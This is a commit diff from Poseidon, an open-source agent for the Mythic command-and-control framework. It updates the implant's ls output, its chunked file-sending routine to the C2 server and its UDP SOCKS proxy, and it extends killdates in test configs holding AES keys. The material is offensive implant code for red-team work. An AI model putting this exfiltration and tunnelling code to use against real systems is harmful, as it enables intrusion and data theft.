Skip to content

Commit 9a4f633

Browse files
committed
updating socks and ls
1 parent b5c6110 commit 9a4f633

12 files changed

+66
-51
lines changed

Payload_Type/poseidon/go.sum

+1
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
github.com/MythicMeta/MythicContainer v1.4.9 h1:1RTY2xkKMahMjvTx1D0ScIgvxJLOV93nfnydbUw5AjM=
12
github.com/MythicMeta/MythicContainer v1.4.9/go.mod h1:BnUYftqQ9KsGxBd6RlyRcAHBrqV1CUcrRCjktWwc2Do=
23
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
34
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=

Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD

+7
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,13 @@ All notable changes to this project will be documented in this file.
44
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
55
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
66

7+
## 2.1.15 - 2025-01-17
8+
9+
### Changed
10+
11+
- Updated the `ls` command to not double return output and leverage the new SetAsUserOutput flag in file browser data
12+
- Updated the `socks` command to continue on UDP timeouts and accept responses from different source UDP ports
13+
714
## 2.1.14 - 2024-12-08
815

916
### Changed

Payload_Type/poseidon/poseidon/agent_code/ls/ls.go

+3-2
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,7 @@ func Run(task structs.Task) {
4747
return
4848
}
4949
var e structs.FileBrowser
50+
e.SetAsUserOutput = true
5051
fixedPath := args.Path
5152
if strings.HasPrefix(fixedPath, "~/") {
5253
dirname, _ := os.UserHomeDir()
@@ -116,8 +117,8 @@ func Run(task structs.Task) {
116117
}
117118
msg.Completed = true
118119
msg.FileBrowser = &e
119-
temp, _ := json.Marshal(msg.FileBrowser)
120-
msg.UserOutput = string(temp)
120+
//temp, _ := json.Marshal(msg.FileBrowser)
121+
//msg.UserOutput = string(temp)
121122
task.Job.SendResponses <- msg
122123
return
123124
}

Payload_Type/poseidon/poseidon/agent_code/pkg/utils/files/sendFile.go

+22-28
Original file line numberDiff line numberDiff line change
@@ -41,19 +41,18 @@ func sendFileMessagesToMythic(sendFileToMythic structs.SendFileToMythicStruct) {
4141
sendFileToMythic.Task.Job.SendResponses <- errResponse
4242
sendFileToMythic.FinishedTransfer <- 1
4343
return
44-
} else {
45-
fi, err := sendFileToMythic.File.Stat()
46-
if err != nil {
47-
errResponse := structs.Response{}
48-
errResponse.Completed = true
49-
errResponse.TaskID = sendFileToMythic.Task.TaskID
50-
errResponse.UserOutput = fmt.Sprintf("Error getting file size: %s", err.Error())
51-
sendFileToMythic.Task.Job.SendResponses <- errResponse
52-
sendFileToMythic.FinishedTransfer <- 1
53-
return
54-
}
55-
size = fi.Size()
5644
}
45+
fi, err := sendFileToMythic.File.Stat()
46+
if err != nil {
47+
errResponse := structs.Response{}
48+
errResponse.Completed = true
49+
errResponse.TaskID = sendFileToMythic.Task.TaskID
50+
errResponse.UserOutput = fmt.Sprintf("Error getting file size: %s", err.Error())
51+
sendFileToMythic.Task.Job.SendResponses <- errResponse
52+
sendFileToMythic.FinishedTransfer <- 1
53+
return
54+
}
55+
size = fi.Size()
5756
} else {
5857
size = int64(len(*sendFileToMythic.Data))
5958
}
@@ -100,16 +99,11 @@ func sendFileMessagesToMythic(sendFileToMythic structs.SendFileToMythicStruct) {
10099

101100
//log.Printf("Receive file download registration response %s\n", resp)
102101
if _, ok := fileDetails["file_id"]; ok {
103-
if ok {
104-
updateUserOutput := structs.Response{}
105-
updateUserOutput.TaskID = sendFileToMythic.Task.TaskID
106-
updateUserOutput.UserOutput = "{\"file_id\": \"" + fmt.Sprintf("%v", fileDetails["file_id"]) + "\", \"total_chunks\": \"" + strconv.Itoa(int(chunks)) + "\"}\n"
107-
sendFileToMythic.Task.Job.SendResponses <- updateUserOutput
108-
break
109-
} else {
110-
//log.Println("Didn't find response with file_id key")
111-
continue
112-
}
102+
updateUserOutput := structs.Response{}
103+
updateUserOutput.TaskID = sendFileToMythic.Task.TaskID
104+
updateUserOutput.UserOutput = "{\"file_id\": \"" + fmt.Sprintf("%v", fileDetails["file_id"]) + "\", \"total_chunks\": \"" + strconv.Itoa(int(chunks)) + "\"}\n"
105+
sendFileToMythic.Task.Job.SendResponses <- updateUserOutput
106+
break
113107
}
114108
}
115109
var r *bytes.Buffer = nil
@@ -153,12 +147,12 @@ func sendFileMessagesToMythic(sendFileToMythic structs.SendFileToMythicStruct) {
153147

154148
fileDownloadData = structs.FileDownloadMessage{}
155149
fileDownloadData.ChunkNum = int(i) + 1
156-
//fileDownloadData.TotalChunks = -1
157150
fileDownloadData.FileID = fileDetails["file_id"].(string)
158151
fileDownloadData.ChunkData = base64.StdEncoding.EncodeToString(partBuffer)
159152
fileDownloadMsg.Download = &fileDownloadData
160153
sendFileToMythic.Task.Job.SendResponses <- fileDownloadMsg
161154
newPercentComplete := ((fileDownloadData.ChunkNum * 100) / int(chunks))
155+
162156
if newPercentComplete/10 > lastPercentCompleteNotified && sendFileToMythic.SendUserStatusUpdates {
163157
response := sendFileToMythic.Task.NewResponse()
164158
response.Completed = false
@@ -180,12 +174,12 @@ func sendFileMessagesToMythic(sendFileToMythic structs.SendFileToMythicStruct) {
180174
sendFileToMythic.FinishedTransfer <- 1
181175
return
182176
}
183-
break
184-
}
185177

186-
if strings.Contains(postResp["status"].(string), "success") {
187-
// only go to the next chunk if this one was successful
188-
i++
178+
if strings.Contains(postResp["status"].(string), "success") {
179+
// only go to the next chunk if this one was successful
180+
i++
181+
break
182+
}
189183
}
190184
}
191185
sendFileToMythic.FinishedTransfer <- 1

Payload_Type/poseidon/poseidon/agent_code/socks/socks.go

+26-14
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,14 @@ import (
66
"bytes"
77
"encoding/base64"
88
"encoding/json"
9+
"errors"
910
"fmt"
1011
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/responses"
12+
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils"
1113
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs"
1214
"io"
1315
"net"
16+
"os"
1417
"strconv"
1518
"strings"
1619
"time"
@@ -313,9 +316,9 @@ func connectToUDPProxy(channelId uint32, toMythicSocksChannel chan structs.Socks
313316
}
314317
//fmt.Printf("read destination from udp proxy message: %s\n", dest.Address())
315318

316-
target, err := net.Dial("udp4", dest.Address())
319+
localListen, err := net.ListenUDP("udp4", nil)
317320
if err != nil {
318-
fmt.Printf("failed to connect to udp proxy: %v\n", err)
321+
utils.PrintDebug(fmt.Sprintf("failed to start listening for future responses: %v\n", err))
319322
msg := structs.SocksMsg{
320323
ServerId: channelId,
321324
Exit: true,
@@ -324,35 +327,39 @@ func connectToUDPProxy(channelId uint32, toMythicSocksChannel chan structs.Socks
324327
return
325328
}
326329
//fmt.Printf("have %d bytes left to write\n", r.Len())
327-
328-
_, err = r.WriteTo(target)
330+
_, err = localListen.WriteToUDP(data[len(data)-r.Len():], &net.UDPAddr{IP: dest.IP, Port: dest.Port})
331+
//_, err = r.WriteTo(target)
329332
if err != nil {
330-
//fmt.Printf("failed to write to udp: %v\n", err)
333+
utils.PrintDebug(fmt.Sprintf("failed to write to udp: %v\n", err))
331334
msg := structs.SocksMsg{
332335
ServerId: channelId,
333336
Exit: true,
334337
}
335338
toMythicSocksChannel <- msg
336339
return
337340
}
338-
//fmt.Printf("wrote to %d udp proxy message\n", written)
341+
//fmt.Printf("wrote %d bytes to udp proxy message\n", bytesLeft)
339342
recvChan := make(chan structs.SocksMsg, 200)
340343
addToMapChan <- addToMap{
341344
ChannelID: channelId,
342-
Connection: target,
345+
Connection: localListen,
343346
NewChannel: recvChan,
344347
}
345-
go writeToUDPProxy(recvChan, target, channelId, toMythicSocksChannel)
348+
go writeToUDPProxy(recvChan, localListen, channelId, toMythicSocksChannel)
346349
for {
347350
bufIn := make([]byte, 4096)
348351
//fmt.Printf("about to read from udp proxy message\n")
349-
err = target.SetReadDeadline(time.Now().Add(5 * time.Second))
352+
err = localListen.SetReadDeadline(time.Now().Add(5 * time.Second))
350353
if err != nil {
351-
fmt.Printf("failed to set read deadline: %v\n", err)
354+
utils.PrintDebug(fmt.Sprintf("failed to set read deadline: %v\n", err))
355+
}
356+
readLength, _, err := localListen.ReadFromUDP(bufIn)
357+
if errors.Is(err, os.ErrDeadlineExceeded) {
358+
//utils.PrintDebug(fmt.Sprintf("read deadline exceeded\n"))
359+
continue
352360
}
353-
readLength, err := target.Read(bufIn)
354361
if err != nil {
355-
//fmt.Printf("failed to read from udp: %v\n", err)
362+
utils.PrintDebug(fmt.Sprintf("failed to read from udp: %v\n", err))
356363
msg := structs.SocksMsg{
357364
ServerId: channelId,
358365
Exit: true,
@@ -361,6 +368,7 @@ func connectToUDPProxy(channelId uint32, toMythicSocksChannel chan structs.Socks
361368
removeFromMapChan <- channelId
362369
return
363370
}
371+
//fmt.Printf("remoteAddr: %v\n", remoteAddr)
364372
if readLength > 0 {
365373
msg := structs.SocksMsg{}
366374
msg.ServerId = channelId
@@ -443,22 +451,25 @@ func writeToUDPProxy(recvChan chan structs.SocksMsg, conn net.Conn, channelId ui
443451
w := bufio.NewWriter(conn)
444452
for bufOut := range recvChan {
445453
// Send a response back to person contacting us.
454+
//fmt.Printf("got message to send to udp proxy: %v\n", bufOut.Data)
446455
if bufOut.Exit {
447456
w.Flush()
457+
//fmt.Printf("got exit from mythic\n")
448458
removeFromMapChan <- channelId
449459
return
450460
}
451461
data, err := base64.StdEncoding.DecodeString(bufOut.Data)
452462
if err != nil {
453463
w.Flush()
464+
utils.PrintDebug(fmt.Sprintf("error decoding data from mythic: %v\n", err))
454465
removeFromMapChan <- channelId
455466
return
456467
}
457468

458469
r := bytes.NewReader(data)
459470
header := []byte{0, 0, 0}
460471
if _, err := r.Read(header); err != nil {
461-
//fmt.Printf("failed to connect to read header: %v\n", err)
472+
utils.PrintDebug(fmt.Sprintf("failed to connect to read header: %v\n", err))
462473
msg := structs.SocksMsg{
463474
ServerId: channelId,
464475
Exit: true,
@@ -468,7 +479,7 @@ func writeToUDPProxy(recvChan chan structs.SocksMsg, conn net.Conn, channelId ui
468479
}
469480
_, err = ReadAddrSpec(r)
470481
if err != nil {
471-
//fmt.Printf("failed to read remote address: %v\n", err)
482+
utils.PrintDebug(fmt.Sprintf("failed to read remote address: %v\n", err))
472483
msg := structs.SocksMsg{
473484
ServerId: channelId,
474485
Exit: true,
@@ -478,6 +489,7 @@ func writeToUDPProxy(recvChan chan structs.SocksMsg, conn net.Conn, channelId ui
478489
}
479490
_, err = r.WriteTo(w)
480491
if err != nil {
492+
utils.PrintDebug(fmt.Sprintf("failed to write to proxy: %v\n", err))
481493
removeFromMapChan <- channelId
482494
return
483495
}

Payload_Type/poseidon/poseidon/agent_code/test_agent_config_dynamichttp.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"callback_jitter": 0,
33
"callback_interval": 2,
4-
"killdate": "2024-12-31",
4+
"killdate": "2025-12-31",
55
"encrypted_exchange_check": true,
66
"AESPSK": "YBRX8nRTYUrkKue/HhEgm+F7gG304uqPdZQwzZ+vaL8=",
77
"raw_c2_config": {

Payload_Type/poseidon/poseidon/agent_code/test_agent_config_http.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"callback_host": "http://127.0.0.1",
33
"callback_port": 80,
4-
"killdate": "2024-12-31",
4+
"killdate": "2025-12-31",
55
"callback_interval": 2,
66
"callback_jitter": 0,
77
"post_uri": "data",

Payload_Type/poseidon/poseidon/agent_code/test_agent_config_httpx.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"callback_jitter": 0,
33
"callback_interval": 2,
4-
"killdate": "2024-12-31",
4+
"killdate": "2025-12-31",
55
"encrypted_exchange_check": true,
66
"AESPSK": "ye6wt4oUi50HDnoNskj1e5HxIpWQWyJ1BeaSohZtbrk=",
77
"failover_threshold": 2,
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"port": 8085,
3-
"killdate": "2024-12-31",
3+
"killdate": "2025-12-31",
44
"encrypted_exchange_check": true,
55
"AESPSK": "7JSBbGON1cHI4xtpxR0M41qQulCBD+DgyABLr6hpjFc="
66
}

Payload_Type/poseidon/poseidon/agent_code/test_agent_config_websocket.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,6 @@
88
"encrypted_exchange_check": true,
99
"domain_front": "",
1010
"callback_jitter": 0,
11-
"killdate": "2024-12-31",
11+
"killdate": "2025-12-31",
1212
"tasking_type": "Push"
1313
}

Payload_Type/poseidon/poseidon/agentfunctions/builder.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ import (
2020
"time"
2121
)
2222

23-
const version = "2.1.14"
23+
const version = "2.1.15"
2424

2525
type sleepInfoStruct struct {
2626
Interval int `json:"interval"`

agent_capabilities.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,6 @@
1010
"architectures": ["x86_64", "arm_64"],
1111
"c2": ["http", "websocket", "dynamichttp", "poseidon_tcp"],
1212
"mythic_version": "3.3.0",
13-
"agent_version": "2.1.11",
13+
"agent_version": "2.1.15",
1414
"supported_wrappers": []
1515
}

0 commit comments

Comments
 (0)